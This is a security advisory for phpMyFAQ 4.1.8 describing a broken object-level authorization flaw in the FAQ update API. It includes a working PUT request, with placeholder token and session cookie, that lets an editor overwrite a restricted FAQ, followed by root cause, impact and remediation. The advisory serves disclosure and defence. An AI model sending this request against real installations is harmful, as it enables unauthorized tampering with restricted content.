thorsten/phpmyfaq: BOLA: FAQ Update Bypasses Object-Level Authorization
What fixes it
No source in this snapshot names a fixed version.
Description
Summary
phpMyFAQ's PUT /api/v3.1/faq/update endpoint checks only the global edit_faq permission and does not enforce object-level authorization on the target FAQ.
As a result, an authenticated editor who cannot view a restricted FAQ can still modify it by supplying its ID.
Reproduction
Tested on phpMyFAQ 4.1.8 (commit 33fae25).
A restricted FAQ (id=1) was accessible only to an administrator.
The attacker account had edit_faq permission but could not view the FAQ:
GET /api/v3.1/faq/1 → 404 Not Found
The attacker then sent:
PUT /api/v3.1/faq/update HTTP/1.1
Host: localhost:8080
x-pmf-token: <api.apiClientToken>
Cookie: PHPSESSID=<editor-session>
Content-Type: application/json
{"faq-id":1,"language":"en","question":"HACKED VIA BOLA",
"answer":"<p>Editor modified a restricted FAQ</p>",
"keywords":"","author":"Attacker","email":"attacker@evil.test",
"is-active":false,"is-sticky":false}The server returned:
{"stored":true}The restricted FAQ was successfully modified.
Root Cause
The update path validates the global FAQ_EDIT permission but does not perform an object-level permission check for the requested FAQ.
Faq::update() ultimately updates the record using its ID and language without applying the permission-aware filtering used by the FAQ read path.
Therefore, possession of a valid FAQ ID is sufficient to modify an object that the authenticated user is not authorized to access.
Impact
An attacker with the delegated edit_faq permission can modify restricted FAQs outside their authorized scope.
This can result in unauthorized content modification, moderation bypass, and potentially forced publication of restricted or pending FAQs.
Remediation
Before updating a FAQ, resolve the target through the existing permission-aware retrieval logic and reject the operation if the authenticated user cannot access the target object.
The update operation should also preserve existing ACL/restriction state unless an explicitly authorized operation changes it.
Text from GitHub Advisory Database
Affected versions 1
- thorsten/phpmyfaq, composer4.1.8GitHub